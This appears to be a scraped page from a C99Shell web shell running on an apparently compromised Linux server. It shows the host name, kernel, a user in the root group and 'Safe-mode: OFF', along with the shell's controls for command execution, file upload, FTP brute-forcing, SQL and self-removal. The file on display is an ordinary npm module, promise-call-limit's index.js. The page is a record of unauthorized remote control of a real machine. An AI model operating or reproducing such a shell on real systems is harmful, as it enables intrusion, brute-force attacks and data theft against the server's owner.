!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/.nvm/versions/node/v18.17.1/lib/node_modules/npm/node_modules/promise-call-limit/   drwxr-xr-x
Free 23.69 GB of 117.98 GB (20.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.js (1.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const os = require('os')
// availableParallelism available only since node v19, for older versions use
// cpus() cpus() can return an empty list if /proc is not mounted, use 1 in
// this case

/* istanbul ignore next - version-specific workaround */
const defLimit = 'availableParallelism' in os
  ? os.availableParallelism()
  : Math.max(1, os.cpus().length)

const callLimit = (queue, limit = defLimit) => new Promise((res, rej) => {
  let active = 0
  let current = 0
  const results = []

  let rejected = false
  const reject = er => {
    if (rejected)
      return
    rejected = true
    rej(er)
  }

  let resolved = false
  const resolve = () => {
    if (resolved || active > 0)
      return
    resolved = true
    res(results)
  }

  const run = () => {
    const c = current++
    if (c >= queue.length) {
      return resolve()
    }

    active ++
    results[c] = queue[c]().then(result => {
      active --
      results[c] = result
      run()
      return result
    }, reject)
  }

  for (let i = 0; i < limit; i++) {
    run()
  }
})

module.exports = callLimit

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0047 ]--